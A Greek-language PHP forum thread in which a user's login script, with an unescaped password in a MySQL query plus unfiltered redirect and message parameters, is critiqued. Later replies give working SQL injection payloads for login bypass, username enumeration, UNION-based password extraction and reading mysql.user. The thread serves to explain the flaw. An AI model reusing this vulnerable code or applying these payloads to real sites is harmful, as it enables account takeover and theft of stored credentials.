FRANkiller13 Δημοσ. 26 Σεπτεμβρίου 2012 Δημοσ. 26 Σεπτεμβρίου 2012 Καλησπέρα Έχω φτιάξει μια σελίδα για την ομάδα μου με login / register στην αρχή όμως το login λειτουργούσε και μετά από λίγο καιρό δεν έπιανε καθόλου στην MySQL και δεν ξέρω ποιο ακριβός είναι το πρόβλημα.. Σας παρακαλώ αν μπορεί κάποιος να με βοηθήσει!!! > <div id="content"> <div id="center"> <div id="title_back_white"> <div id="title_text_left_white"></div> <div id="title_text_center_white">Login area</div> <div id="title_text_right_white"></div> </div> <div id="main"> <?php include 'dbc.php'; error_reporting(E_ERROR | E_PARSE); $username = mysql_real_escape_string($_POST['username']); if ($_POST['Submit']=='Login') { $md5pass = $_POST['password']; $sql = "SELECT username,password FROM users WHERE username = '$username' AND password = '$md5pass' AND active='1'"; $result = mysql_query($sql) or die (mysql_error()); $num = mysql_num_rows($result); if ( $num != 0 ) { // A matching row was found - the user is authenticated. session_start(); list($username,$md5pass) = mysql_fetch_row($result); // this sets variables in the session $_SESSION['username']= $username; if (isset($_GET['ret']) && !empty($_GET['ret'])) { header("Location: $_GET[ret]"); echo ""; } else { header('Location: index.php?id=index'); header("Location: index.php?id=index"); echo "Logged as $username <meta http-equiv='refresh' content='5;url=index.php?id=index'>"; } //echo "Logged in..."; exit(); } header("Location: index.php?id=login&msg=<b>Wrong username or password or Check your email with activation link</b>"); echo "<meta http-equiv='refresh' content='0;url=index.php?id=login&msg=<b>Wrong username or password or Check your email with activation link</b>'>"; exit(); } ?> <?php if (isset($_GET['msg'])) { echo "<div class=\"msg\"> $_GET[msg] </div>"; } ?> </p><table width="40%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td><form name="form1" method="post" action=""> <p> </p><b> <p align="center">Username: <input name="username" type="text" id="username"> </p> <p align="center"> Password: <input name="password" type="password" id="password"> </p> <p align="center"> <button type="submit" name="Submit" value="Login">Login</button> </p> <p align="center"><a class="border2" href="register.php">Register</a></p></b> </form></td> </tr> </table> <tr><td colspan="2" class="news_line"></td></tr> </div></div>
παπι Δημοσ. 27 Σεπτεμβρίου 2012 Δημοσ. 27 Σεπτεμβρίου 2012 http://php.net/manual/en/function.header.php
FRANkiller13 Δημοσ. 27 Σεπτεμβρίου 2012 Μέλος Δημοσ. 27 Σεπτεμβρίου 2012 Τα header δεν λειτουργούν ούτος η αλλος επειδή στο index.php το έχω κάνει με > <?php include('menu-class.php");?> Και στο menu-class.php > <?php $login = $_GET["id"]; switch($login) { case 'login'; require_once 'incl/login.php'; break; } ?> Γιατί όλο το site είναι έτσι για να μην φτιάχνω teams.php,index.php,matches.php κτλπ.. Γιαυτό βάζω αυτό στο login.php > echo "Logged as $username <meta http-equiv='refresh' content='5;url=index.php?id=index'>";
vadoo Δημοσ. 27 Σεπτεμβρίου 2012 Δημοσ. 27 Σεπτεμβρίου 2012 > $md5pass = $_POST['password']; Αυτό φαίνεται κάπως ύποπτο (λόγω του ονόματος του variable). To password είναι ήδη σε md5 μέσα στο $_POST ή έχεις ξεχάσει τη γραμμή που το κάνει hash;
koslibpro Δημοσ. 27 Σεπτεμβρίου 2012 Δημοσ. 27 Σεπτεμβρίου 2012 Αυτό φαίνεται κάπως ύποπτο (λόγω του ονόματος του variable). To password είναι ήδη σε md5 μέσα στο $_POST ή έχεις ξεχάσει τη γραμμή που το κάνει hash; βασικα νομιζω οτι εχει ξεχασει την γραμμη του md5. δοκιμασε να βαλεις > $md5pass = $_POST['password']; $md5pass = md5($md5pass); και να κανεις παλι login.
x_maras Δημοσ. 27 Σεπτεμβρίου 2012 Δημοσ. 27 Σεπτεμβρίου 2012 λίγο άσχετο αλλά κοίτα και αυτό το pbkdf2 encryption για αντικατάσταση του md5
defacer Δημοσ. 27 Σεπτεμβρίου 2012 Δημοσ. 27 Σεπτεμβρίου 2012 Αυτό φαίνεται κάπως ύποπτο (λόγω του ονόματος του variable). Και όχι μόνο αυτό: επίσης το username προστατεύεται από SQL injection με mysql_real_escape_string, ενώ το password όχι. Επομένως όποιος έγραψε τον κώδικα "έκανε οικονομία" (κακώς) στη mysql_real_escape_string επειδή ήξερε ότι το $password είναι safe. Το οποίο σημαίνει ότι στάνταρ υπήρχε ένα md5() εκεί.
FRANkiller13 Δημοσ. 27 Σεπτεμβρίου 2012 Μέλος Δημοσ. 27 Σεπτεμβρίου 2012 Η κωδικοί δεν είναι με md5 απλά ήταν να βάλω md5 και δεν έβαλα και το έχω φτιάξει έτσι όστε να πιάνει τον κωδικό του user που είναι φανερός στην MySQL και για να γίνεται POST ο κωδικός για το Login..
defacer Δημοσ. 27 Σεπτεμβρίου 2012 Δημοσ. 27 Σεπτεμβρίου 2012 Το γεγονός είναι ότι από άποψη ασφάλειας η υπάρχουσα υλοποίηση μπάζει από παντού (π.χ. είναι πανεύκολο να κάνεις login με όποιο username θέλεις χωρίς να ξέρεις το password). Έχεις δουλειά μπροστά σου. 1
FRANkiller13 Δημοσ. 27 Σεπτεμβρίου 2012 Μέλος Δημοσ. 27 Σεπτεμβρίου 2012 Μήπως μπορείς να με βοηθήσεις για ένα καινούργιο PHP Login μόνο; 1
defacer Δημοσ. 28 Σεπτεμβρίου 2012 Δημοσ. 28 Σεπτεμβρίου 2012 Αν έχεις κάποια συγκεκριμένη ερώτηση μπορείς να την κάνεις και αν μπορώ θα την απαντήσω. Δεν μπορώ όμως να σε βοηθήσω με την έρευνα και το διάβασμα πέρα από το να σου δώσω κατευθύνσεις.
thanocaster Δημοσ. 28 Σεπτεμβρίου 2012 Δημοσ. 28 Σεπτεμβρίου 2012 Αν έχεις κάποια συγκεκριμένη ερώτηση μπορείς να την κάνεις και αν μπορώ θα την απαντήσω. Δεν μπορώ όμως να σε βοηθήσω με την έρευνα και το διάβασμα πέρα από το να σου δώσω κατευθύνσεις. Μπορεί ΕΠΙΤΕΛΟΥΣ να γίνει στίκυ με έντονα κόκκινα γράμματα, μπακγκράουντ που αναβοσβήνει και να παίζει απαγγελία μόλις μπαίνει κάποιος σε αυτό το σέξιον; Ακριβώς όπως είναι. 1
ParhsG Δημοσ. 28 Σεπτεμβρίου 2012 Δημοσ. 28 Σεπτεμβρίου 2012 defacer απο τη στιγμη που το κανει md5 σκετο πως κινδυνεύει ; Εdit: τωρα ειδα πως δε το κανει 1
ntellos Δημοσ. 29 Σεπτεμβρίου 2012 Δημοσ. 29 Σεπτεμβρίου 2012 (επεξεργασμένο) Και όχι μόνο αυτό: επίσης το username προστατεύεται από SQL injection με mysql_real_escape_string, ενώ το password όχι. Επομένως όποιος έγραψε τον κώδικα "έκανε οικονομία" (κακώς) στη mysql_real_escape_string επειδή ήξερε ότι το $password είναι safe. Το οποίο σημαίνει ότι στάνταρ υπήρχε ένα md5() εκεί. Έχεις δίκαιο, αλλά σύμφωνα με το link που έδωσες: Most frameworks, including languages like PHP, have default security settings by now that don't allow multiple statements in one SQL string. In PHP, for example, you can only run multiple statements in one SQL string by using the mysqli_multi_query function. και μετά από προσωπικά test: > <?php $host = 'localhost'; $dbuser = 'root'; $dbpass = ''; $user = 'panos\' && password=\'mitsos\'); insert into accounts(username,password) values(\'panos\',\'panos\'); --'; $pass = 'random pass'; $dquery = 'select * from accounts where (username=\'$user\' && password=\'$pass\');'; $query = 'select * from accounts where (username=\''.$user.'\' && password=\''.$pass.'\');'; ?> <form action="" onsubmit=""> <table style="width:100%;"> <tr> <td>$user:</td> </tr><tr> <td><textarea style="width:100%;resize: none"><?php echo $user ?></textarea></td> </tr> <tr><tr> <td>$pass:</td> </tr><tr> <td><textarea style="width:100%;resize: none"><?php echo $pass ?></textarea></td> </tr> <tr><tr> <td>Original query:</td> </tr><tr> <td><textarea style="width:100%;resize: none"><?php echo $dquery ?></textarea></td> </tr> <tr><tr> <td>Cracked query:</td> </tr><tr> <td><textarea style="width:100%;resize: none"><?php echo $query ?></textarea></td> </tr> </table> </form> <?php $conn = mysql_connect($host, $dbuser, $dbpass) or die('MySQL Error: '.mysql_error()); $db = mysql_select_db('test',$conn) or die('MySQL Error: '.mysql_error()); $result = mysql_query($query, $conn) or die('MySQL Error: '.mysql_error()); ?> Μου κοπανάει error(Αν το τρέξω από το pma δεν βγάζει error, οπότε δεν έχει mysql syntax error): Επεξ/σία 29 Σεπτεμβρίου 2012 από ntellos
defacer Δημοσ. 30 Σεπτεμβρίου 2012 Δημοσ. 30 Σεπτεμβρίου 2012 Ναι, δεν μπορείς να κάνεις execute επιπλέον queries αλλά επίσης δεν χρειάζεται: (σημ: τα SQL fragments που δίνω είναι στοχευμένα στο απο πάνω σου post, όχι στον κώδικα που είχε δώσει το παλικάρι στην αρχή -- υπάρχουν διαφορές στην SQL αλλά η ουσία δεν αλλάζει) >$username = 'whatever'; $pass = '\' OR 1) LIMIT 1 --'; Μπορείς να βάλεις κάτι άλλο στο OR, ας πούμε αν θέλεις να κάνεις login σα συγκεκριμένος χρήστης. Επίσης μπορείς π.χ. να αρχίσεις να το δίνεις με ORDER BY username LIMIT 0, 1, μετά να κάνεις logout, να το δώσεις με LIMIT 1, 1, κλπ κλπ και με τον τρόπο αυτό να ανακαλύψεις όλα τα usernames που υπάρχουν καταχωρημένα (το "logged in as xxx" που τυπώνει με αφήνει να δω τι έκανα select). Αφού το κάνεις αυτό μετά μπορείς να πάρεις και όλα τα passwords για καβάτζα σε περίπτωση που κλείσει η τρύπα στο μέλλον: >$pass = '\' AND 1=0) UNION SELECT password, password FROM accounts WHERE username=\'foo\' --'; Εννοείται πως με την ίδια ακριβώς λογική μπορείς να πάρεις όποιο δεδομένο θέλεις από όποιο πίνακα θέλεις αρκεί να ξέρεις τα ονόματα του πίνακα και της στήλης. Δεν τα ξέρεις; Δεν πειράζει, μπορείς να τα μάθεις από το INFORMATION_SCHEMA του οποίου η δομή είναι γνωστή. Αυτός δεν είναι ο μοναδικός τρόπος με τον οποίο μπορείς να κάνεις exploit, απλά αυτό μου ήρθε τώρα. Και βέβαια αν κάνουμε δουλειά αντί να παίζουμε δε θα κάτσω να τα δώσω ένα ένα με το χέρι, απλά παίρνεις ένα πρόγραμμα με όλη τη λογική που χρειάζεται μέσα του και στο πι και φι σου έχει κάνει ένα "full dump" όλων των πληροφοριών που είναι accessible στα πλαίσια του user με τον οποίο κάνεις connect στη MySql. Έκανες connect σαν root? >SELECT * FROM mysql.user Περαστικά. Im in ur dataz inserting ur recordz.
Προτεινόμενες αναρτήσεις
Δημιουργήστε ένα λογαριασμό ή συνδεθείτε για να σχολιάσετε
Πρέπει να είστε μέλος για να αφήσετε σχόλιο
Δημιουργία λογαριασμού
Εγγραφείτε με νέο λογαριασμό στην κοινότητα μας. Είναι πανεύκολο!
Δημιουργία νέου λογαριασμούΣύνδεση
Έχετε ήδη λογαριασμό; Συνδεθείτε εδώ.
Συνδεθείτε τώρα